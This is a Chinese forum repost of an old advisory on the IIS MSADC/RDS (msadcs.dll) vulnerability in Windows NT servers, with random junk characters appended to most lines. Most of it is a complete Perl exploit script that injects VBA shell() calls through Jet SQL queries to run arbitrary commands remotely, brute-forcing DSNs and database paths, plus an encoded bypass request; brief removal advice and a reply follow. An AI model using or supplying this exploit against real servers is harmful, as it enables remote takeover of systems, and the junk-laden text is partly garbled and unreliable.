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IIS的漏洞(威胁NT之三招穿墙手) (MS,缺陷)

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IIS的漏洞(威胁NT之三招穿墙手) (MS,缺陷) B=u@u([.  
i/-Xpj]Zf  
涉及程序: :T5l0h-eC  
Microsoft NT server PZeVjL?E  
}`h)+Im=  
描述: ^3*/x%A,g  
1个NT的重大漏洞造成全世界大约1/4的NT server可以被入侵者获取最高权限 #f\U3p  
vZhN% DfY  
详细: nFX8:fZ$>  
如果你没有时间读详细内容的话,就删除:  x)THeH@  
c:\Program Files\Common Files\System\Msadc\msadcs.dll M=`F $  
有关的安全问题就没有了。 FUvZMA$  
`fY~Lv{4d_  
微软对关于Msadc的问题发了三次以上的补丁,仍然存在问题。 psgXJe$  
6@ ToPbj4  
1、第一次补丁,基本上,其安全问题是MS Jet 3.5造成的,它允许调用VBA shell()函数,这将允许入侵者远程运行shell指令。 1i$9x$4~E  
关于利用ODBC远程漏洞的描述,请参看: na(@`(j[  
bn~=d@'  
http://www.cnns.net/frankie/mirror/nttoolz/ntpipe.htm 6_^ u}me  
m`I6gnLj  
2、IIS 4.0的缺省安装设置的是MDAC1.5,这个安装下有一个/msadc/msadcs.dll的文件,也允许通过web远程访问ODBC,获取系统的控制权,这点在很多黑客论坛都讨论过,请参看 HGh`O\f8  
http://www.microsoft.com/security/bulletins/MS99-025faq.asp |XLx6E2F  
~y$B #.l  
这里不再论述。 %RdCSQ9~  
-9.S?N'T>;  
3、如果web目录下的/msadc/msadcs.dll/可以访问,那么ms的任何补丁可能都没用,用类似: tm#T8iF  
NVcL9"ht*@  
/%6Dsadc/%6Dsadcs.dll/V%62BusO%62j.V%62BusO%62jCls.GetRecordset %fJ*Ql4M  
的请求,就可以绕过安全机制进行非法的VbBusObj请求,从而达到入侵的目的。 下面的代码仅供测试,严禁用于非法用途,否则后果自负!!! .Rd@,3  
Beiz*2-}a  
$X WJxQRUv  
#将下面这段保存为txt文件,然后: "perl -x 文件名" {S'xZ._=  
>|XQfavE  
#!perl @&83/U?  
# Gv?'R0s  
# MSADC/RDS 'usage' (aka exploit) script "  F~uTo  
# =5[}&W  
# by rain.forest.puppy #'v7mEwt  
# q,PB; TT  
# Many thanks to Weld, Mudge, and Dildog from l0pht for helping me ?U cW@B{  
# beta test and find errors! a%Q.8  
]lXTIej`dy  
use Socket; use Getopt::Std; 0 #VH=pga  
getopts("e:vd:h:XR", \%args); YB*ZYpRVl  
9bNjC&:4/]  
print "-- RDS exploit by rain forest puppy / ADM / Wiretrip --\n"; ~+q$TV  
(C!u3ke2D  
if (!defined $args{h} && !defined $args{R}) { uG${`4  
print qq~  Ae <v  
Usage: msadc.pl -h <host> { -d <delay> -X -v } IgG@v9'  
-h <host> = host you want to scan (ip or domain) n/=&?#m}d  
-d <seconds> = delay between calls, default 1 second (SkI9[1\@3  
-X = dump Index Server path table, if available *G.6\  
-v = verbose m!$"-nh9  
-e = external dictionary file for step 5 <6Y o%xt  
ppM d  
Or a -R will resume a command session fY}e.lD  
PHyS^J`  
~; exit;} !D7/Ja  
*h-_   
$ip=$args{h}; $clen=0; $reqlen=0; $|=1; $target=""; L/"u,~[  
if (defined $args{v}) { $verbose=1; } else {$verbose=0;} 8N'`kd~6[  
if (defined $args{d}) { $delay=$args{d};} else {$delay=1;} DSM,dO'  
if(!defined $args{R}){ $ip.="." if ($ip=~/[a-z]$/); kK16+`\+  
$target= inet_aton($ip) || die("inet_aton problems; host doesn't exist?");} cr27q6_  
if (defined $args{X} && !defined $args{R}) { &hork_idx; exit; } vMRM/.  
|F iL1_  
if (!defined $args{R}){ $ret = &has_msadc; i(a2FKLy  
die("Looks like msadcs.dll doesn't exist\n")if $ret==0} z5=&qo|f9l  
Yih^ZTf]O?  
print "Please type the NT commandline you want to run (cmd /c assumed):\n" H8`K?SXU  
. "cmd /c "; @j K7bab:  
$in=<STDIN>; chomp $in; \XCs(lNh  
$command="cmd /c " . $in ; - 9UQs.Nv  
.o]vjNrd/  
if (defined $args{R}) {&load; exit;} *QG>U[  
cW/RH.N  
print "\nStep 1: Trying raw driver to btcustmr.mdb\n"; 71z$a  
&try_btcustmr; zEl@jK,{$  
(=j]fnH?  
print "\nStep 2: Trying to make our own DSN..."; 8;5 UO,`T  
&make_dsn ? print "<<success>>\n" : print "<<fail>>\n"; w5b D  
TlYeYN5V  
print "\nStep 3: Trying known DSNs..."; Y@c! \0e$  
&known_dsn; DQ?'f@I&*  
%+:%%r=Q  
print "\nStep 4: Trying known .mdbs..."; r\F`xtR(  
&known_mdb; x&8HBF'  
S =U*is  
if (defined $args{e}){ j I_TN5  
print "\nStep 5: Trying dictionary of DSN names..."; d?$FAy'o5  
&dsn_dict; } else { "\nNo -e; Step 5 skipped.\n\n"; } _Su? VxU  
XTG*56IzL  
print "Sorry Charley...maybe next time?\n"; pa~.[cBI  
exit; qq]ZkT}   
JY(_}AAu  
############################################################################## $*Njvr7  
&DYHkG  
sub sendraw { # ripped and modded from whisker OHdC t  
sleep($delay); # it's a DoS on the server! At least on mine... J)6RXt*!  
my ($pstr)=@_; 5%rD7/7N  
socket(S,PF_INET,SOCK_STREAM,getprotobyname('tcp')||0) || Eyxw.,rB/  
die("Socket problems\n"); K=;z&E=<c  
if(connect(S,pack "SnA4x8",2,80,$target)){ a-MDZT<xA+  
select(S); $|=1; 5)wz`OS  
print $pstr; my @in=<S>; razVO]]E  
select(STDOUT); close(S); ?dl7!I@<E<  
return @in; iN %kF'&9  
} else { die("Can't connect...\n"); }} ~gNa<tg"1  
)V*Z|,#no  
############################################################################## ULIbVy7Y  
frWw-<HoI  
sub make_header { # make the HTTP request 4N[8LC;MH  
my $msadc=<<EOT q~^Jd=cB\  
POST /msadc/msadcs.dll/AdvancedDataFactory.Query HTTP/1.1 bJ*jJl x  
User-Agent: ACTIVEDATA GPy+\P`  
Host: $ip nbj&3z,  
Content-Length: $clen \S{ise/U  
Connection: Keep-Alive VC:.ya|Z  
u7=`u/  
ADCClientVersion:01.06 QeuIAs*_  
Content-Type: multipart/mixed; boundary=!ADM!ROX!YOUR!WORLD!; num-args=3 w^s|YF=c  
_n,Ye&m  
--!ADM!ROX!YOUR!WORLD! gI~R u8  
Content-Type: application/x-varg (|(#~o]40t  
Content-Length: $reqlen _Jn-#du  
T\eOrWt/  
EOT >V2Tr$m j  
; $msadc=~s/\n/\r\n/g; +/'3=!oyd  
return $msadc;} U iqHUrx  
oyZ}JTl( Q  
############################################################################## <5?.s< y$"  
FX`SaY>D  
sub make_req { # make the RDS request h|$.`$  
my ($switch, $p1, $p2)=@_; Kr3L~4>  
my $req=""; my $t1, $t2, $query, $dsn; YDE;mIW  
aF7" 4^P  
if ($switch==1){ # this is the btcustmr.mdb query l~kxt2&  
$query="Select * from Customers where City=" . make_shell(); f7c%Z:C#Y  
$dsn="driver={Microsoft Access Driver (*.mdb)};dbq=" . cY  ^>`  
$p1 . ":\\" . $p2 . "\\help\\iis\\htm\\tutorial\\btcustmr.mdb;";} 7E*d>:5I  
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elsif ($switch==2){ # this is general make table query O~N0JK_>  
$query="create table AZZ (B int, C varchar(10))"; 6nV]Ec~3[  
$dsn="$p1";} 7dhip  
PJA%aRP,:  
elsif ($switch==3){ # this is general exploit table query qn}4PVn4  
$query="select * from AZZ where C=" . make_shell(); g]PmmK_L  
$dsn="$p1";} `bw>.Ay  
ln-+=jk  
elsif ($switch==4){ # attempt to hork file info from index server {x{e?c!  
$query="select path from scope()"; )EZ#BF<0|  
$dsn="Provider=MSIDXS;";} {s&6C-  
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elsif ($switch==5){ # bad query JE9SPFQx9M  
$query="select"; {hr>m,O%  
$dsn="$p1";} 'B ocMjRA  
*Hx{eqC  
$t1= make_unicode($query); fA{[H:*}G  
$t2= make_unicode($dsn); qN% i$mJTo  
$req = "\x02\x00\x03\x00"; A0Pg|M  
$req.= "\x08\x00" . pack ("S1", length($t1)); dY'/\dJ  
$req.= "\x00\x00" . $t1 ; l ?RsXC  
$req.= "\x08\x00" . pack ("S1", length($t2)); \_;z m+ <{  
$req.= "\x00\x00" . $t2 ; &,/_"N"?D  
$req.="\r\n--!ADM!ROX!YOUR!WORLD!--\r\n"; #!(OTe L  
return $req;} \yP\@cpY{  
,) ^4H>~V  
############################################################################## OBp<A+a  
D|lp3\`%  
sub make_shell { # this makes the shell() statement |giV<Sj  
return "'|shell(\"$command\")|'";} $a|C/s+}7>  
LxaR1E(Cc'  
############################################################################## CBz$N)f  
*Y8nea^$  
sub make_unicode { # quick little function to convert to unicode T|RW-i3  
my ($in)=@_; my $out; oKjQ? 4  
for ($c=0; $c < length($in); $c++) { $out.=substr($in,$c,1) . "\x00"; } \6~(# y  
return $out;} ~ HFDX@m*  
zXWf($^&E  
############################################################################## 5xKo(XNp  
w-9M{Es+j  
sub rdo_success { # checks for RDO return success (this is kludge) Gxx:<`[ON  
my (@in) = @_; my $base=content_start(@in); ^GMM%   
if($in[$base]=~/multipart\/mixed/){ &qKJN#NM@  
return 1 if( $in[$base+10]=~/^\x09\x00/ );} V`Ve__5;  
return 0;} Rg@W0Bc)  
C{AVV<  
############################################################################## WfYu-TK *  
*F7ksLH|q  
sub make_dsn { # this makes a DSN for us 7~(|q2ib  
my @drives=("c","d","e","f"); l>p S23  
print "\nMaking DSN: "; |t](4  
foreach $drive (@drives) { sTeW4Hnp  
print "$drive: "; !jZXh1g%  
my @results=sendraw("GET /scripts/tools/newdsn.exe?driver=Microsoft\%2B" . B=?4; l7  
"Access\%2BDriver\%2B\%28*.mdb\%29\&dsn=wicca\&dbq=" E{+V_.tlu  
. $drive . "\%3A\%5Csys.mdb\&newdb=CREATE_DB\&attr= HTTP/1.0\n\n"); 80=6B  
$results[0]=~m#HTTP\/([0-9\.]+) ([0-9]+) ([^\n]*)#; (ns> z7  
return 0 if $2 eq "404"; # not found/doesn't exist do0;"O0 (  
if($2 eq "200") { 5H8]N#Y&  
foreach $line (@results) { yv1Z*wTpO  
return 1 if $line=~/<H2>Datasource creation successful<\/H2>/;}} MD`1KC_m  
} return 0;} uXD?s3Wv  
GR6BpV7  
############################################################################## q{v?2v{  
h^QicvZ  
sub verify_exists { IjJO;  
my ($page)=@_; {Yp>h5nwM_  
my @results=sendraw("GET $page HTTP/1.0\n\n"); it?l! ~  
return $results[0];} 2eNA#^T=  
#J&45  
############################################################################## \H <k  
Y v22,|:  
sub try_btcustmr { X@`kuWIUw  
my @drives=("c","d","e","f"); ZmM/YPy  
my @dirs=("winnt","winnt35","winnt351","win","windows");  5`];[M9  
E2J.t`H  
foreach $dir (@dirs) { 5k/Y7+*?E  
print "$dir -> "; # fun status so you can see progress qRy<W  
foreach $drive (@drives) {  n *Y+y  
print "$drive: "; # ditto , H$1iJ?  
$reqlen=length( make_req(1,$drive,$dir) ) - 28; *htv:Sr  
$reqlenlen=length( "$reqlen" ); VsLlPw{  
$clen= 206 + $reqlenlen + $reqlen; aN n\URR  
?8 dd^iX/  
my @results=sendraw(make_header() . make_req(1,$drive,$dir)); *2wFLh  
if (rdo_success(@results)){print "Success!\n";save(1,1,$drive,$dir);exit;} o \ss  
else { verbose(odbc_error(@results)); funky(@results);}} print "\n";}} |j3fS[.$  
k4WUfL d  
############################################################################## L{XNOf3  
a W1y0  
sub odbc_error { L#)F00/`  
my (@in)=@_; my $base; :v-&}?  
my $base = content_start(@in); t\& u  
if($in[$base]=~/application\/x-varg/){ # it *SHOULD* be this T.m*LM  
$in[$base+4]=~s/[^a-zA-Z0-9 \[\]\:\/\\'\(\)]//g; '#JC 6#X   
$in[$base+5]=~s/[^a-zA-Z0-9 \[\]\:\/\\'\(\)]//g; M A9Oi(L)K  
$in[$base+6]=~s/[^a-zA-Z0-9 \[\]\:\/\\'\(\)]//g; rDr3)*H?0  
return $in[$base+4].$in[$base+5].$in[$base+6];} ^eu={0k  
print "\nNON-STANDARD error. Please sent this info to rfp\@wiretrip.net:\n"; =2-!ay:  
print "$in : " . $in[$base] . $in[$base+1] . $in[$base+2] . $in[$base+3] . %=C49(/K_  
$in[$base+4] . $in[$base+5] . $in[$base+6]; exit;} e6O+hC]:  
!yxb=>A  
############################################################################## osB8 '\GR  
ZV:cg v  
sub verbose { hRKAs ]^j  
my ($in)=@_; ZcT%H*Ib]9  
return if !$verbose; jV:Krk6T<  
print STDOUT "\n$in\n";} c -1Hxd YD  
Zp:(U3%  
############################################################################## /F/zMZGSA{  
V)HX+D>  
sub save { 1D@'uApi.  
my ($p1, $p2, $p3, $p4)=@_; fcDiYJC*  
open(OUT, ">rds.save") || print "Problem saving parameters...\n"; P'wn$WE[n\  
print OUT "$ip\n$p1\n$p2\n$p3\n$p4\n"; (A@~]N ,U/  
close OUT;} Z+# =]Kw)  
Na6z1&wS  
############################################################################## <K6:"  
S(bYN[U  
sub load { RZKdh}B?\  
my @p; my $drvst="driver={Microsoft Access Driver (*.mdb)}; dbq="; h%2;B;p]  
open(IN,"<rds.save") || die("Couldn't open rds.save\n"); A}./ ;[  
@p=<IN>; close(IN); f9R~RRz  
$ip="$p[0]"; $ip=~s/\n//g; $ip.="." if ($ip=~/[a-z]$/); |ATz<"q>  
$target= inet_aton($ip) || die("inet_aton problems"); WX2:c,%:  
print "Resuming to $ip ..."; ey icMy`7{  
$p[3]="$p[3]"; $p[3]=~s/\n//g; $p[4]="$p[4]"; $p[4]=~s/\n//g; ?ks3K-.4  
if($p[1]==1) { #2&DDy)B f  
$reqlen=length( make_req(1,"$p[3]","$p[4]") ) - 28; M}jF-z  
$reqlenlen=length( "$reqlen" ); $clen= 206 + $reqlenlen + $reqlen; f8Z[prfP  
my @results=sendraw(make_header() . make_req(1,"$p[3]","$p[4]")); V_)G=#6Dy  
if (rdo_success(@results)){print "Success!\n";} fV}:eEo|Y  
else { print "failed\n"; verbose(odbc_error(@results));}} }F v:g!  
elsif ($p[1]==3){ fgzkc"ReK  
if(run_query("$p[3]")){ ~3 ,>TV  
print "Success!\n";} else { print "failed\n"; }} .TI =3*`G  
elsif ($p[1]==4){ 8oAr<:.=  
if(run_query($drvst . "$p[3]")){ $>Y2N5  
print "Success!\n"; } else { print "failed\n"; }} &nJH23h ^  
exit;} B;k3YOg  
HLD8W8  
############################################################################## 6R.%I{x'  
xbZx&`(  
sub create_table { 16;r+.FB'  
my ($in)=@_; n2e#rn  
$reqlen=length( make_req(2,$in,"") ) - 28; r8]y1 Om<  
$reqlenlen=length( "$reqlen" ); V5]}b[X  
$clen= 206 + $reqlenlen + $reqlen; j=&]=0F  
my @results=sendraw(make_header() . make_req(2,$in,"")); Wc6Jgpl  
return 1 if rdo_success(@results); uv&??F]/  
my $temp= odbc_error(@results); verbose($temp); k PuY[~i%  
return 1 if $temp=~/Table 'AZZ' already exists/; pQ:7%+Om  
return 0;} ;F)j,Ywi)H  
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############################################################################## '>8IOC  
<FaF67[Q  
sub known_dsn { 8XS_I{}?  
# we want 'wicca' first, because if step 2 made the DSN, it's ready to go HUP~  
my @dsns=("wicca", "AdvWorks", "pubs", "CertSvr", "CFApplications", H%`$@U>  
"cfexamples", "CFForums", "CFRealm", "cfsnippets", "UAM", 1R}rL#h;=  
"banner", "banners", "ads", "ADCDemo", "ADCTest"); 4Z'/dI`  
!xqy6%p  
foreach $dSn (@dsns) { NVt612/'7y  
print "."; 9FGe (t <  
next if (!is_access("DSN=$dSn")); *wvd[q h  
if(create_table("DSN=$dSn")){ *9XKkR<r  
print "$dSn successful\n"; MKl`9 Y3Ge  
if(run_query("DSN=$dSn")){ CtEpS<*c  
print "Success!\n"; save (3,3,"DSN=$dSn",""); exit; } else { TnuNoMD.  
print "Something's borked. Use verbose next time\n";}}} print "\n";} !+<OED=qe  
Z}b25)  
############################################################################## G)(vd0X1  
fu=GgD*  
sub is_access { <%_7%  
my ($in)=@_; D@O#P^?  
$reqlen=length( make_req(5,$in,"") ) - 28; ( pDu  
$reqlenlen=length( "$reqlen" ); G}|!Jdr  
$clen= 206 + $reqlenlen + $reqlen; As5*)o"&  
my @results=sendraw(make_header() . make_req(5,$in,"")); "UNWbsn6Qr  
my $temp= odbc_error(@results); 9A7LDHst7  
verbose($temp); return 1 if ($temp=~/Microsoft Access/); *h <_gn  
return 0;} -VC k k  
-l:4I6-hi  
############################################################################## rAv)k&l  
RWX?B  
sub run_query { 3Ygt!  
my ($in)=@_; 4V6^@   
$reqlen=length( make_req(3,$in,"") ) - 28; vO?\u`vY  
$reqlenlen=length( "$reqlen" ); IasWm/  
$clen= 206 + $reqlenlen + $reqlen; Rhfx  
my @results=sendraw(make_header() . make_req(3,$in,"")); 6 h?v/\  
return 1 if rdo_success(@results); )\`.Ru~,  
my $temp= odbc_error(@results); verbose($temp); bjR:5@"  
return 0;} Ba8 s  
t9U-c5bR  
############################################################################## B.Szp_$  
/s/\5-U7q  
sub known_mdb { |H .  
my @drives=("c","d","e","f","g"); kWSei3  
my @dirs=("winnt","winnt35","winnt351","win","windows"); qk+RZ>T<o  
my $dir, $drive, $mdb; ep,"@,,  
my $drv="driver={Microsoft Access Driver (*.mdb)}; dbq="; cZb5h 9  
g,k} nkIT  
# this is sparse, because I don't know of many rDD,eNjG  
my @sysmdbs=( "\\catroot\\icatalog.mdb", tCF,KP?  
"\\help\\iishelp\\iis\\htm\\tutorial\\eecustmr.mdb", aSGZF w  
"\\system32\\certmdb.mdb", N I*x):bx  
"\\system32\\certlog\\certsrv.mdb" ); #these are %systemroot% yPn!1=-(  
B$\,l.h E  
my @mdbs=( "\\cfusion\\cfapps\\cfappman\\data\\applications.mdb", ;Xr|['\'  
"\\cfusion\\cfapps\\forums\\forums_.mdb", u&E$(  
"\\cfusion\\cfapps\\forums\\data\\forums.mdb", i".nnAI:  
"\\cfusion\\cfapps\\security\\realm_.mdb", )j_Y9`R  
"\\cfusion\\cfapps\\security\\data\\realm.mdb", [& d"Z2gK  
"\\cfusion\\database\\cfexamples.mdb", u/ Gk>F  
"\\cfusion\\database\\cfsnippets.mdb", \>G:mMk/  
"\\inetpub\\iissamples\\sdk\\asp\\database\\authors.mdb", )<~v~|re  
"\\progra~1\\common~1\\system\\msadc\\samples\\advworks.mdb", \]Nt-3|`0  
"\\cfusion\\brighttiger\\database\\cleam.mdb", i&di}x  
"\\cfusion\\database\\smpolicy.mdb", f"Z2,!Z;  
"\\cfusion\\database\cypress.mdb", !GAU?J;<#2  
"\\progra~1\\ableco~1\\ablecommerce\\databases\\acb2_main1.mdb", (O(X k+L  
"\\website\\cgi-win\\dbsample.mdb", KAFx^JLo  
"\\perl\\prk\\bookexamples\\modsamp\\database\\contact.mdb", :TZ</3Sw  
"\\perl\\prk\\bookexamples\\utilsamp\\data\\access\\prk.mdb" I{8sLzA03S  
); #these are just 17C"@1n-  
foreach $drive (@drives) { ;_nV*G.y#^  
foreach $dir (@dirs){ =/Lwprj  
foreach $mdb (@sysmdbs) { L>ruNw'-K  
print "."; yGs:3KI  
if(create_table($drv . $drive . ":\\" . $dir . $mdb)){ \* /R6svz  
print "\n" . $drive . ":\\" . $dir . $mdb . " successful\n"; E*W|>2nx]  
if(run_query($drv . $drive . ":\\" . $dir . $mdb)){ JYesk  
print "Success!\n"; save (4,4,$drive . ":\\" . $dir . $mdb,""); exit; (Qp53g  
} else { print "Something's borked. Use verbose next time\n"; }}}}} (c\i.z  
!RPPwvNk4  
foreach $drive (@drives) { ExW3LM9(  
foreach $mdb (@mdbs) { Vz\?a8qQ<  
print "."; +\ZaVi  
if(create_table($drv . $drive . $dir . $mdb)){ P.t0o~hoK;  
print "\n" . $drive . $dir . $mdb . " successful\n"; e.n*IJ_fz  
if(run_query($drv . $drive . $dir . $mdb)){ B*-A erdH  
print "Success!\n"; save (4,4,$drive . $dir . $mdb,""); exit; QqdVN3# 1z  
} else { print "Something's borked. Use verbose next time\n"; }}}} 2@jlF!zC  
} M&h`uO/[  
DxvD 1u   
############################################################################## <uf,@N5m  
`at>X&Ce,  
sub hork_idx { ,UA-Pq3 }  
print "\nAttempting to dump Index Server tables...\n"; @&F\M}  
print " NOTE: Sometimes this takes a while, other times it stalls\n\n"; T!ik"YZ@i  
$reqlen=length( make_req(4,"","") ) - 28; a{y"vVQOF  
$reqlenlen=length( "$reqlen" ); bpaS(nBy  
$clen= 206 + $reqlenlen + $reqlen; 7,!$lT#  
my @results=sendraw2(make_header() . make_req(4,"","")); x3C^S~  
if (rdo_success(@results)){ FG{45/0We  
my $max=@results; my $c; my %d;  F<Y>  
for($c=19; $c<$max; $c++){ "b6ew2\  
$results[$c]=~s/\x00//g; RLE6=#4  
$results[$c]=~s/[^a-zA-Z0-9:~ \\\._]{1,40}/\n/g; h4,S /n  
$results[$c]=~s/[^a-zA-Z0-9:~ \\\._\n]//g; CY?19Ak-xd  
$results[$c]=~/([a-zA-Z]\:\\)([a-zA-Z0-9 _~\\]+)\\/; :&-j{8p-  
$d{"$1$2"}="";} p(6!7t:  
foreach $c (keys %d){ print "$c\n"; } An2Wj  
} else {print "Index server doesn't seem to be installed.\n"; }} 8)m  
)2Dm{T  
############################################################################## })TXX7[h  
h;RKF\U:"  
sub dsn_dict { E!6Nf[  
open(IN, "<$args{e}") || die("Can't open external dictionary\n"); M!Wjfq ^~  
while(<IN>){ a(|,KWHn  
$hold=$_; $hold=~s/[\r\n]//g; $dSn="$hold"; print "."; 92pl#Igt  
next if (!is_access("DSN=$dSn")); qCUn. mI  
if(create_table("DSN=$dSn")){ vbMt}bM(GD  
print "$dSn successful\n"; rd0[(-  
if(run_query("DSN=$dSn")){ t)n}S;iD  
print "Success!\n"; save (3,3,"DSN=$dSn",""); exit; } else { [Fo" MeH?R  
print "Something's borked. Use verbose next time\n";}}} 5a^b{=#Y  
print "\n"; close(IN);} rD*CLq K  
,f3Ck*M  
############################################################################## =(\xe| Q  
q s 0'}>  
sub sendraw2 { # ripped and modded from whisker w`a(285s)i  
sleep($delay); # it's a DoS on the server! At least on mine... ZL^ svGy  
my ($pstr)=@_; "<^]d~a_  
socket(S,PF_INET,SOCK_STREAM,getprotobyname('tcp')||0) || JQde I+  
die("Socket problems\n"); okSCM#&:[2  
if(connect(S,pack "SnA4x8",2,80,$target)){ jC3)^E@:"  
print "Connected. Getting data"; 8r-'m%l  
open(OUT,">raw.out"); my @in; <}z, !w8  
select(S); $|=1; print $pstr; .`5BgX7W  
while(<S>){ print OUT $_; push @in, $_; print STDOUT ".";} +1(L5Do}  
close(OUT); select(STDOUT); close(S); return @in; W4V !7_  
} else { die("Can't connect...\n"); }}  1(*Pa  
Au[H!J  
############################################################################## c.JMeh  
Xb/^n .>  
sub content_start { # this will take in the server headers pU)g93  
my (@in)=@_; my $c; qR>"r"Fq  
for ($c=1;$c<500;$c++) { 0X: :<N@  
if($in[$c] =~/^\x0d\x0a/){ Vt;!FZ  
if ($in[$c+1]=~/^HTTP\/1.[01] [12]00/) { $c++; } D@ R>gqb  
else { return $c+1; }}} 8Z1pQx-P2C  
return -1;} # it should never get here actually Kulh:d:w  
HyX:4f|]'  
############################################################################## rZSX fgfr  
-)dS`hM  
sub funky { Ua](o H  
my (@in)=@_; my $error=odbc_error(@in); B(l8&  
if($error=~/ADO could not find the specified provider/){ GT(nW|v  
print "\nServer returned an ADO miscofiguration message\nAborting.\n"; jn/ J-X=  
exit;} f6O5k8n  
if($error=~/A Handler is required/){ 0*umf .R  
print "\nServer has custom handler filters (they most likely are patched)\n";  b :J$  
exit;} HaiaDY)  
if($error=~/specified Handler has denied Access/){ }ki}J>j|f  
print "\nServer has custom handler filters (they most likely are patched)\n"; A\S1{JrR  
exit;}} MRZ/%OZ.  
mok%TK  
############################################################################## 'V-_3WWxU  
7Ew.6!s#n1  
sub has_msadc { r1o_i;rg  
my @results=sendraw("GET /msadc/msadcs.dll HTTP/1.0\n\n"); I,0Z* rw  
my $base=content_start(@results); =m6yH_`@  
return 1 if($results[$base]=~/Content-Type: application\/x-varg/); Ei& Z  
return 0;} &8^ch,+pD  
KfkE'_ F  
######################## m=.}}DcSs  
@*}?4wU^k  
SGUu\yS&s  
解决方案: LnY`f -H  
1、移除c:\Program Files\Common Files\System\Msadc\msadcs.dll [Dou%\  
2、移除web 目录: /msadc
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只看该作者 1 发表于: 2006-06-30
很老的一篇文章 ctB(c`zcY  
n;+e(ob;;  
拿出来充数 哈哈
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